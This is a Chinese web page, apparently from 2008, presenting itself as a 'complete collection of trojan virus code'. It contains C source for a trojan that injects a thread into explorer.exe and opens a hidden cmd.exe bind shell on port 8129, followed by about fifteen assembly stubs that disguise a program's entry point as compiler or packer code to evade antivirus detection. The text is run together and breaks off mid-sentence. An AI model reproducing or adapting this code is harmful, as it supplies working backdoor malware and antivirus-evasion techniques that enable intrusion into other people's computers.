病毒代码大全

制造木马病毒代码大全2008-06-0819:46制造木马病毒代码大全一个简单的木马原型基础代码添加上自己的XXX，加上变态的壳，做点小修改，就可以．．．．．#include#pragma comment(lib,"ws2_32.lib") #include#include#pragma comment(lib,"Shlwapi.lib")#include#include#include//参数结构;typedef struct_RemotePara{DWORD dwLoadLibrary;DWORD dwFreeLibrary;DWORD dwGetProcAddress;DWORD dwGetModuleHandle;DWORD dwWSAStartup;DWORD dwSocket;DWORD dwhtons;DWORD dwbind;DWORD dwlisten;DWORD dwaccept;DWORD dwsend;DWORD dwrecv;DWORD dwclosesocket;DWORD dwCreateProcessA;DWORD dwPeekNamedPipe;DWORD dwWriteFile;DWORD dwReadFile;DWORD dwCloseHandle; DWORD dwCreatePipe;DWORD dwTerminateProcess; DWORD dwMessageBox;char strMessageBox[12];char winsockDll[16];char cmd[10];char Buff[4096];char telnetmsg[60];}RemotePara;//提升应用级调试权限BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);//根据进程名称得到进程ID DWORD GetPidByName(char*szName);//远程线程执行体DWORD__stdcall ThreadProc(RemotePara*Para){WSADATA WSAData;WORD nVersion;SOCKET listenSocket;SOCKET clientSocket;struct sockaddr_in server_addr;struct sockaddr_in client_addr;int iAddrSize =sizeof(client_addr);SECURITY_ATTRIBUTES sa; HANDLE hReadPipe1;HANDLE hWritePipe1;HANDLE hReadPipe2;HANDLE hWritePipe2;STARTUPINFO si; PROCESS_INFORMATION ProcessInformation;unsigned long lBytesRead=0;typedef HINSTANCE(__stdcall*PLoadLibrary)(char*);typedef FARPROC(__stdcall*PGetProcAddress)(HMODULE,LPCSTR);typedef HINSTANCE(__stdcall*PFreeLibrary)(HINSTANCE); typedef HINSTANCE(__stdcall*PGetModuleHandle)(HMODULE);FARPROC PMessageBoxA;FARPROC PWSAStartup;FARPROC PSocket;FARPROC Phtons;FARPROC Pbind;FARPROC Plisten;FARPROC Paccept;FARPROC Psend;FARPROC Precv;FARPROC Pclosesocket;FARPROC PCreateProcessA; FARPROC PPeekNamedPipe;FARPROC PWriteFile; FARPROC PReadFile;FARPROC PCloseHandle;FARPROC PCreatePipe;FARPROC PTerminateProcess;PLoadLibrary LoadLibraryFunc=(PLoadLibrary)Para->dwLoadLibrary; PGetProcAddress GetProcAddressFunc=(PGetProcAddress)Para->dwGetProcAddress;PFreeLibrary FreeLibraryFunc=(PFreeLibrary)Para->dwFreeLibrary; PGetModuleHandle GetModuleHandleFunc= (PGetModuleHandle)Para->dwGetModuleHandle; LoadLibraryFunc(Para->winsockDll);PWSAStartup= (FARPROC)Para->dwWSAStartup;PSocket= (FARPROC)Para->dwSocket;Phtons= (FARPROC)Para->dwhtons;Pbind=(FARPROC)Para->dwbind;Plisten=(FARPROC)Para->dwlisten;Paccept= (FARPROC)Para->dwaccept;Psend= (FARPROC)Para->dwsend;Precv=(FARPROC)Para->dwrecv;Pclosesocket= (FARPROC)Para->dwclosesocket;PCreateProcessA= (FARPROC)Para->dwCreateProcessA;PPeekNamedPipe= (FARPROC)Para->dwPeekNamedPipe;PWriteFile= (FARPROC)Para->dwWriteFile;PReadFile= (FARPROC)Para->dwReadFile;PCloseHandle= (FARPROC)Para->dwCloseHandle;PCreatePipe= (FARPROC)Para->dwCreatePipe;PTerminateProcess= (FARPROC)Para->dwTerminateProcess;PMessageBoxA= (FARPROC)Para->dwMessageBox;nVersion=MAKEWORD(2,1);PWSAStartup(nVersion, (LPWSADATA)&WSAData);listenSocket=PSocket(AF_INET,SOCK_STREAM,0);if(listenSocket== INVALID_SOCKET)return0;server_addr.sin_family=AF_INET;server_addr.sin_port=Phtons((unsigned short)(8129));server_addr.sin_addr.s_addr=INADDR_ANY;if(Pbind(listenSocket,(struct sockaddr *)&server_addr,sizeof(SOCKADDR_IN))!=0)return0;if(Plisten(listenSocket,5))return0;clientSocket= Paccept(listenSocket,(struct sockaddr*)&client_addr,&iAddrSize);//Psend(clientSocket,Para->telnetmsg,60, 0);if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;ZeroMemory(&si,sizeof(si));//ZeroMemory是C运行库函数，可以直接调用si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; si.wShowWindow=SW_HIDE;si.hStdInput=hReadPipe2; si.hStdOutput=si.hStdError=hWritePipe1;if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NUL L,NULL,&si,&ProcessInformatio n))return0;while(1){memset(Para->Buff,0,4096);PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRe ad,0,0);if(lBytesRead){if(!PReadFile(hReadPipe1,Para->Buff,lBytesRead,&lBytesRead,0))break;if(!Psend(clientSocket,Para->Buff,lBytesRead,0))break;}else{lBytesRead=Precv(clientSocket,Para->Buff,4096,0);if(lBytesRead<=0)break;if(!PWriteFile(hWritePipe2,Para->Buff,lBytesRead,&lBytesRead,0))break;}}PCloseHandle(hWritePipe2); PCloseHandle(hReadPipe1);PCloseHandle(hReadPipe2); PCloseHandle(hWritePipe1);Pclosesocket(listenSocket); Pclosesocket(clientSocket);//PMessageBoxA(NULL, Para->strMessageBox,Para->strMessageBox,MB_OK); return0;}int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){const DWORD THREADSIZE=1024*4; DWORD byte_write;void*pRemoteThread;HANDLE hToken,hRemoteProcess,hThread;HINSTANCE hKernel,hUser32,hSock;RemotePara myRemotePara,*pRemotePara;DWORD pID; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_ PRIVILEGES,&hToken);EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);//获得指定进程句柄，并设其权限为PROCESS_ALL_ACCESS pID= GetPidByName("EXPLORER.EXE");if(pID==0)return0; hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);if(!hRemoteProcess)return0;//在远程进程地址空间分配虚拟内存pRemoteThread=VirtualAllocEx(hRemoteProcess,0,THREADSIZE,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);if(!pRemoteThread)return0;//将线程执行体ThreadProc 写入远程进程if(!WriteProcessMemory(hRemoteProcess, pRemoteThread,&ThreadProc,THREADSIZE,0))return0; ZeroMemory(&myRemotePara,sizeof(RemotePara)); hKernel=LoadLibrary("kernel32.dll"); myRemotePara.dwLoadLibrary=(DWORD)GetProcAddress(hKernel,"LoadLibraryA"); myRemotePara.dwFreeLibrary=(DWORD)GetProcAddress(hKernel,"FreeLibrary"); myRemotePara.dwGetProcAddress=(DWORD)GetProcAddress(hKernel,"GetProcAddress"); myRemotePara.dwGetModuleHandle=(DWORD)GetProcAddress(hKernel,"GetModuleHandleA"); myRemotePara.dwCreateProcessA=(DWORD)GetProcAddress(hKernel,"CreateProcessA"); myRemotePara.dwPeekNamedPipe=(DWORD)GetProcAddress(hKernel,"PeekNamedPipe"); myRemotePara.dwWriteFile=(DWORD)GetProcAddress(hKernel,"WriteFile"); myRemotePara.dwReadFile=(DWORD)GetProcAddress(hKernel,"ReadFile"); myRemotePara.dwCloseHandle=(DWORD)GetProcAddress(hKernel,"CloseHandle"); myRemotePara.dwCreatePipe=(DWORD)GetProcAddress(hKernel,"CreatePipe"); myRemotePara.dwTerminateProcess=(DWORD)GetProcAddress(hKernel,"TerminateProcess"); hSock=LoadLibrary("wsock32.dll"); myRemotePara.dwWSAStartup=(DWORD)GetProcAddress(hSock,"WSAStartup"); myRemotePara.dwSocket=(DWORD)GetProcAddress(hSock,"socket"); myRemotePara.dwhtons=(DWORD)GetProcAddress(hSock,"htons");myRemotePara.dwbind=(DWORD)GetProcAddress(hSock,"bind"); myRemotePara.dwlisten=(DWORD)GetProcAddress(hSock,"listen"); myRemotePara.dwaccept=(DWORD)GetProcAddress(hSock,"accept"); myRemotePara.dwrecv=(DWORD)GetProcAddress(hSock,"recv"); myRemotePara.dwsend=(DWORD)GetProcAddress(hSock,"send"); myRemotePara.dwclosesocket=(DWORD)GetProcAddress(hSock,"closesocket");hUser32 =LoadLibrary("user32.dll");myRemotePara.dwMessageBox=(DWORD)GetProcAddress(hUser32,"MessageBoxA"); strcat(myRemotePara.strMessageBox,"Sucess!\\0"); strcat(myRemotePara.winsockDll,"wsock32.dll\\0"); strcat(myRemotePara.cmd,"cmd.exe\\0");strcat(myRemotePara.telnetmsg,"ConnectSucessful!\\n\\0");//写进目标进程pRemotePara=(RemotePara*)VirtualAllocEx (hRemoteProcess,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);if(!pRemotePara)return0;if(!WriteProcessMemory(hRemoteProcess,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return0;//启动线程hThread= CreateRemoteThread(hRemoteProcess,0,0,(DWORD (__stdcall*)(void*))pRemoteThread,pRemotePara,0,&byte_write);while(1) {}FreeLibrary(hKernel);FreeLibrary(hSock); FreeLibrary(hUser32);CloseHandle(hRemoteProcess); CloseHandle(hToken);return0;}BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){TOKEN_PRIVILEGES tp;tp.PrivilegeCount=1;LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].L uid);tp.Privileges[0].Attributes=fEnable?SE_PRIVILEGE_ENABLED:0; AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL, NULL);return((GetLastError()==ERROR_SUCCESS));} DWORD GetPidByName(char*szName){HANDLE hProcessSnap=INVALID_HANDLE_VALUE; PROCESSENTRY32pe32={0};DWORD dwRet=0; hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessSnap==INVALID_HANDLE_VALUE)return0; pe32.dwSize=sizeof(PROCESSENTRY32);if(Process32First(hProcessSnap,&pe32)){do{if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0) {dwRet=pe32.th32ProcessID;break;}}while (Process32Next(hProcessSnap,&pe32));}else return0;if(hProcessSnap!=INVALID_HANDLE_VALUE)CloseHandle (hProcessSnap);return dwRet;1.伪装vc++5.0代码：PUSH EBP MOV EBP,ESP PUSH-1push415448-\___PUSH 4021A8-/在这段代码中类似这样的操作数可以乱填MOV EAX,DWORD PTR FS:[0]PUSH EAX MOV DWORD PTR FS:[0],ESP ADD ESP,-6C PUSH EBX PUSH ESI PUSH EDI ADD BYTE PTR DS:[EAX],AL/这条指令可以不要!jmp原入口地址*********************************************** *************************2.胡乱跳转代码：nop push ebp mov ebp,esp inc ecx push edx nop pop edx dec ecx pop ebp inc ecx loop somewhere/跳转到上面那段代码地址去！somewhere:nop/"胡乱"跳转的开始...jmp下一个jmp的地址/在附近随意跳jmp.../...jmp原入口地址/跳到原始oep90558B EC4152905A495D41转储免杀*********************************************** *************************3.伪装c++代码：push ebp mov ebp,esp push-1push111111push222222mov eax,fs:[0]push eax mov fs:[0],esp pop eax mov fs:[0],eax pop eax pop eax pop eax pop eax mov ebp,eax jmp原入口地址*********************************************** *************************4.伪装Microsoft VisualC++6.0代码：PUSH-1PUSH0PUSH0MOVEAX,DWORD PTR FS:[0]PUSH EAX MOV DWORD PTR FS:[0],ESP SUB ESP,68PUSH EBX PUSH ESI PUSH EDI POP EAX POP EAX POP EAX ADD ESP,68POP EAX MOV DWORD PTR FS:[0],EAX POP EAX POP EAX POP EAX POP EAX MOV EBP,EAX JMP原入口地址push ebp mov ebp,esp jmp*********************************************** *************************5.伪装防杀精灵一号防杀代码：push ebp mov ebp,esp push-1push666666push 888888mov eax,dword ptr fs:[0]push eax mov dword ptr fs:[0],esp pop eax mov dword ptr fs:[0],eax pop eax pop eax pop eax pop eax mov ebp,eax jmp原入口地址*********************************************** *************************6.伪装防杀精灵二号防杀代码：push ebp mov ebp,esp push-1push0push0mov eax,dword ptr fs:[0]push eax mov dword ptr fs:[0],esp sub esp,68push ebx push esi push edi pop eax pop eax pop eax add esp,68pop eax mov dword ptr fs:[0],eax pop eax pop eax pop eax pop eax mov ebp,eax jmp原入口地址*********************************************** *************************7.伪装木马彩衣(无限复活袍)代码：PUSH EBP MOV EBP,ESP PUSH-1push415448 -\___PUSH4021A8-/在这段代码中类似这样的操作数可以乱填MOV EAX,DWORD PTR FS:[0]PUSH EAX MOV DWORD PTR FS:[0],ESP ADD ESP,-6C PUSH EBX PUSH ESI PUSH EDI ADD BYTE PTR DS:[EAX],AL/这条指令可以不要! jo原入口地址jno原入口地址call下一地址*********************************************** *************************8.伪装木马彩衣(虾米披风)代码：push ebp nop nop mov ebp,esp inc ecx nop push edx nop nop pop edx nop pop ebp inc ecx loop somewhere /跳转到下面那段代码地址去！someshere:nop/"胡乱"跳转的开始...jmp下一个jmp的地址/在附近随意跳jmp... /...jmp原入口的地址/跳到原始oep9.伪装花花添加器(神话)代码：-----------根据C++改nop nop nop mov ebp,esp push-1push111111push222222mov eax,dword ptr fs:[0]push eax mov dword ptr fs:[0],esp pop eax mov dword ptr fs:[0],eax pop eax pop eax pop eax pop eax mov ebp,eax mov eax,原入口地址push eax retn*********************************************** *************************10.伪装花花添加器(无极)代码：nop mov ebp,esp push-1push0A2C2A push0D9038mov eax,fs:[0]push eax mov fs:[0],esp pop eax mov fs:[0],eax pop eax pop eax pop eax pop eax mov ebp, eax mov eax,原入口地址jmp eax*********************************************** *************************11.伪装花花添加器(金刚)代码：--------根据VC++5.0改nop nop mov ebp,esp push -1push415448push4021A8mov eax,fs:[0]push eax mov fs:[0],esp add esp,-6C push ebx push esi push edi add [eax],al mov eax,原入口地址jmp eax*********************************************** *************************12.伪装花花添加器(杀破浪)代码：nop mov ebp,esp push-1push0push0mov eax, fs:[0]push eax mov fs:[0],esp sub esp,68push ebx push esi push edi pop eax pop eax pop eax add esp,68pop eax mov fs:[0],eax pop eax pop eax pop eax pop eax mov ebp, eax mov eax,原入口地址jmp eax*********************************************** *************************12.伪装花花添加器(痴情大圣)代码：nop..........省略N行nop nop push ebp mov ebp, esp add esp,-0C add esp,0C mov eax,原入口地址push eax retn*********************************************** *************************13.伪装花花添加器(如果*爱)代码：nop........省略N行nop nop push ebp mov ebp, esp inc ecx push edx nop pop edx dec ecx pop ebp inc ecx mov eax,原入口地址jmp eax*********************************************** *************************14.伪装PEtite2.2->Ian Luck代码：mov eax,0040E000push004153F3push dword ptr fs:[0]mov dword ptr fs:[0],esp pushfw pushad push eax xor ebx,ebx pop eax popad popfw pop dword ptr fs:[0]pop eax jmp原入口地址'执行到程序的原有OEP*********************************************** *************************15.无效PE文件代码：push ebp mov ebp,esp inc ecx push edx nop pop edx dec ecx pop ebp inc ecx MOV DWORD PTR FS:[0],EAX\POP EAX|POP EAX\MOV DWORD PTR FS:[0],EAX|（注意了。